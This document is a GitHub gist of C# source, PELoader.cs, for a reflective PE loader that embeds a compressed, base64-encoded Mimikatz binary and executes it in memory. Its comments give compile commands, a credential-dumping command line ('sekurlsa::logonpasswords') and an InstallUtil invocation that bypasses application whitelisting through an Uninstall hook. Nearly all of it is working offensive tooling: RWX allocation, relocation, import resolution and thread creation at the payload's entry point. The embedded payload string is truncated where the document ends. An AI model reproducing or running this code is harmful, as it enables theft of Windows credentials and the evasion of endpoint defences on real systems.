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@subTee /PELoader.cs
Last active Aug 13, 2017

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Reflective PE Loader - Compressed Mimikatz inside of InstallUtil
using System;
using System.IO;
using System.IO.Compression;
using System.Text;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
* Base64 Encode Mimikatz In PowerShell-
$fileName = "mimikatz.exe"
$fileContent = get-content $fileName
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
$fileContentEncoded | set-content ($fileName + ".b64")
* [OR]
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64");
sw.Write(AsBase64String);
sw.Close();
*
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
[OR]
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
PELoader.exe log privilege::debug sekurlsa::logonpasswords
[OR]
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
*/
namespace PELoader
{
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public static byte[] Compress(byte[] raw)
{
using (MemoryStream memory = new MemoryStream())
{
using (GZipStream gzip = new GZipStream(memory,
CompressionMode.Compress, true))
{
gzip.Write(raw, 0, raw.Length);
}
return memory.ToArray();
}
}
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
/*
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe");
byte[] compress = Compress(AsBytes);
String AsBase64String = Convert.ToBase64String(compress);
StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64");
sw.Write(AsBase64String);
sw.Close();
*/
Program.Main();
}
}
class Program
{
static byte[] Decompress(byte[] gzip)
{
using (GZipStream stream = new GZipStream(new MemoryStream(gzip), CompressionMode.Decompress))
{
const int size = 4096;
byte[] buffer = new byte[size];
using (MemoryStream memory = new MemoryStream())
{
int count = 0;
do
{
count = stream.Read(buffer, 0, size);
if (count > 0)
{
memory.Write(buffer, 0, count);
}
}
while (count > 0);
return memory.ToArray();
}
}
}
public static void Main()
{
//PELoader pe = new PELoader(@"c:\Tools\mimikatz.exe");
//PELoader pe = new PELoader(@"c:\Tools\powerkatz.dll");
byte[] FromBase64 = System.Convert.FromBase64String(Katz.KatzCompressed);
byte[] decompressed = Decompress(FromBase64);
PELoader pe = new PELoader(decompressed);
Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));
IntPtr codebase = IntPtr.Zero;
codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
//Copy Sections
for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
{
IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
}
//Perform Base Relocation
//Calculate Delta
long currentbase = (long)codebase.ToInt64();
long delta;
delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);
Console.WriteLine("Delta = {0}", delta.ToString("X4"));
//Modify Memory Based On Relocation Table
//Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
//Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));
IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));
//Console.WriteLine(relocationTable.ToString("X4"));
NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
//Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
//Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));
int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
IntPtr nextEntry = relocationTable;
int sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
IntPtr offset = relocationTable;
while (true)
{
NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);
//Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
//Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);
for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
{
IntPtr patchAddr;
UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
UInt16 type = (UInt16)(value >> 12);
UInt16 fixup = (UInt16)(value & 0xfff);
//Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));
switch (type)
{
case 0x0:
break;
case 0xA:
patchAddr = IntPtr.Add(dest, fixup);
//Add Delta To Location.
long originalAddr = Marshal.ReadInt64(patchAddr);
Marshal.WriteInt64(patchAddr, originalAddr + delta);
break;
}
}
offset = IntPtr.Add(relocationTable, sizeofNextBlock);
sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
relocationEntry = relocationNextEntry;
nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);
if (relocationNextEntry.SizeOfBlock == 0) break;
}
//Resolve Imports
IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));
//Get And Display Each DLL To Load
for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
{
IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
if (DllName == "") { break; }
IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
Console.WriteLine("Loaded {0}", DllName);
for (int k = 1; k < 9999; k++)
{
IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
//Console.WriteLine("Function {0}", DllFuncName);
IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
Marshal.WriteInt64(a2, (long)funcAddy);
a2 = IntPtr.Add(a2, 8);
if (DllFuncName == "") break;
}
//Console.ReadLine();
}
//Transfer Control To OEP
Console.WriteLine("Executing Mimikatz");
IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);
NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);
Console.WriteLine("Thread Complete");
//Console.ReadLine();
} //End Main
}//End Program
public class PELoader
{
public struct IMAGE_DOS_HEADER
{ // DOS .EXE header
public UInt16 e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
public UInt16 e_res_0; // Reserved words
public UInt16 e_res_1; // Reserved words
public UInt16 e_res_2; // Reserved words
public UInt16 e_res_3; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
public UInt16 e_res2_0; // Reserved words
public UInt16 e_res2_1; // Reserved words
public UInt16 e_res2_2; // Reserved words
public UInt16 e_res2_3; // Reserved words
public UInt16 e_res2_4; // Reserved words
public UInt16 e_res2_5; // Reserved words
public UInt16 e_res2_6; // Reserved words
public UInt16 e_res2_7; // Reserved words
public UInt16 e_res2_8; // Reserved words
public UInt16 e_res2_9; // Reserved words
public UInt32 e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public UInt32 VirtualAddress;
public UInt32 Size;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt64 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt64 SizeOfStackReserve;
public UInt64 SizeOfStackCommit;
public UInt64 SizeOfHeapReserve;
public UInt64 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[Flags]
public enum DataSectionFlags : uint
{
/// <summary>
/// Reserved for future use.
/// </summary>
TypeReg = 0x00000000,
/// <summary>
/// Reserved for future use.
/// </summary>
TypeDsect = 0x00000001,
/// <summary>
/// Reserved for future use.
/// </summary>
TypeNoLoad = 0x00000002,
/// <summary>
/// Reserved for future use.
/// </summary>
TypeGroup = 0x00000004,
/// <summary>
/// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files.
/// </summary>
TypeNoPadded = 0x00000008,
/// <summary>
/// Reserved for future use.
/// </summary>
TypeCopy = 0x00000010,
/// <summary>
/// The section contains executable code.
/// </summary>
ContentCode = 0x00000020,
/// <summary>
/// The section contains initialized data.
/// </summary>
ContentInitializedData = 0x00000040,
/// <summary>
/// The section contains uninitialized data.
/// </summary>
ContentUninitializedData = 0x00000080,
/// <summary>
/// Reserved for future use.
/// </summary>
LinkOther = 0x00000100,
/// <summary>
/// The section contains comments or other information. The .drectve section has this type. This is valid for object files only.
/// </summary>
LinkInfo = 0x00000200,
/// <summary>
/// Reserved for future use.
/// </summary>
TypeOver = 0x00000400,
/// <summary>
/// The section will not become part of the image. This is valid only for object files.
/// </summary>
LinkRemove = 0x00000800,
/// <summary>
/// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files.
/// </summary>
LinkComDat = 0x00001000,
/// <summary>
/// Reset speculative exceptions handling bits in the TLB entries for this section.
/// </summary>
NoDeferSpecExceptions = 0x00004000,
/// <summary>
/// The section contains data referenced through the global pointer (GP).
/// </summary>
RelativeGP = 0x00008000,
/// <summary>
/// Reserved for future use.
/// </summary>
MemPurgeable = 0x00020000,
/// <summary>
/// Reserved for future use.
/// </summary>
Memory16Bit = 0x00020000,
/// <summary>
/// Reserved for future use.
/// </summary>
MemoryLocked = 0x00040000,
/// <summary>
/// Reserved for future use.
/// </summary>
MemoryPreload = 0x00080000,
/// <summary>
/// Align data on a 1-byte boundary. Valid only for object files.
/// </summary>
Align1Bytes = 0x00100000,
/// <summary>
/// Align data on a 2-byte boundary. Valid only for object files.
/// </summary>
Align2Bytes = 0x00200000,
/// <summary>
/// Align data on a 4-byte boundary. Valid only for object files.
/// </summary>
Align4Bytes = 0x00300000,
/// <summary>
/// Align data on an 8-byte boundary. Valid only for object files.
/// </summary>
Align8Bytes = 0x00400000,
/// <summary>
/// Align data on a 16-byte boundary. Valid only for object files.
/// </summary>
Align16Bytes = 0x00500000,
/// <summary>
/// Align data on a 32-byte boundary. Valid only for object files.
/// </summary>
Align32Bytes = 0x00600000,
/// <summary>
/// Align data on a 64-byte boundary. Valid only for object files.
/// </summary>
Align64Bytes = 0x00700000,
/// <summary>
/// Align data on a 128-byte boundary. Valid only for object files.
/// </summary>
Align128Bytes = 0x00800000,
/// <summary>
/// Align data on a 256-byte boundary. Valid only for object files.
/// </summary>
Align256Bytes = 0x00900000,
/// <summary>
/// Align data on a 512-byte boundary. Valid only for object files.
/// </summary>
Align512Bytes = 0x00A00000,
/// <summary>
/// Align data on a 1024-byte boundary. Valid only for object files.
/// </summary>
Align1024Bytes = 0x00B00000,
/// <summary>
/// Align data on a 2048-byte boundary. Valid only for object files.
/// </summary>
Align2048Bytes = 0x00C00000,
/// <summary>
/// Align data on a 4096-byte boundary. Valid only for object files.
/// </summary>
Align4096Bytes = 0x00D00000,
/// <summary>
/// Align data on an 8192-byte boundary. Valid only for object files.
/// </summary>
Align8192Bytes = 0x00E00000,
/// <summary>
/// The section contains extended relocations.
/// </summary>
LinkExtendedRelocationOverflow = 0x01000000,
/// <summary>
/// The section can be discarded as needed.
/// </summary>
MemoryDiscardable = 0x02000000,
/// <summary>
/// The section cannot be cached.
/// </summary>
MemoryNotCached = 0x04000000,
/// <summary>
/// The section is not pageable.
/// </summary>
MemoryNotPaged = 0x08000000,
/// <summary>
/// The section can be shared in memory.
/// </summary>
MemoryShared = 0x10000000,
/// <summary>
/// The section can be executed as code.
/// </summary>
MemoryExecute = 0x20000000,
/// <summary>
/// The section can be read.
/// </summary>
MemoryRead = 0x40000000,
/// <summary>
/// The section can be written to.
/// </summary>
MemoryWrite = 0x80000000
}
/// <summary>
/// The DOS header
/// </summary>
private IMAGE_DOS_HEADER dosHeader;
/// <summary>
/// The file header
/// </summary>
private IMAGE_FILE_HEADER fileHeader;
/// <summary>
/// Optional 32 bit file header
/// </summary>
private IMAGE_OPTIONAL_HEADER32 optionalHeader32;
/// <summary>
/// Optional 64 bit file header
/// </summary>
private IMAGE_OPTIONAL_HEADER64 optionalHeader64;
/// <summary>
/// Image Section headers. Number of sections is in the file header.
/// </summary>
private IMAGE_SECTION_HEADER[] imageSectionHeaders;
private byte[] rawbytes;
public PELoader(string filePath)
{
// Read in the DLL or EXE and get the timestamp
using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
if (this.Is32BitHeader)
{
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
}
else
{
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
}
rawbytes = System.IO.File.ReadAllBytes(filePath);
}
}
public PELoader(byte[] fileBytes)
{
// Read in the DLL or EXE and get the timestamp
using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
if (this.Is32BitHeader)
{
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
}
else
{
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
}
rawbytes = fileBytes;
}
}
public static T FromBinaryReader<T>(BinaryReader reader)
{
// Read in a byte array
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
// Pin the managed memory while, copy it out the data, then unpin it
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
handle.Free();
return theStructure;
}
public bool Is32BitHeader
{
get
{
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
}
}
public IMAGE_FILE_HEADER FileHeader
{
get
{
return fileHeader;
}
}
/// <summary>
/// Gets the optional header
/// </summary>
public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
{
get
{
return optionalHeader32;
}
}
/// <summary>
/// Gets the optional header
/// </summary>
public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
{
get
{
return optionalHeader64;
}
}
public IMAGE_SECTION_HEADER[] ImageSectionHeaders
{
get
{
return imageSectionHeaders;
}
}
public byte[] RawBytes
{
get
{
return rawbytes;
}
}
}//End Class
unsafe class NativeDeclarations
{
public static uint MEM_COMMIT = 0x1000;
public static uint MEM_RESERVE = 0x2000;
public static uint PAGE_EXECUTE_READWRITE = 0x40;
public static uint PAGE_READWRITE = 0x04;
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
IntPtr lpThreadId
);
[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_IMPORT_DESCRIPTOR
{
public uint OriginalFirstThunk;
public uint TimeDateStamp;
public uint ForwarderChain;
public uint Name;
public uint FirstThunk;
}
}
public class Katz
{
public static string KatzCompressed = @"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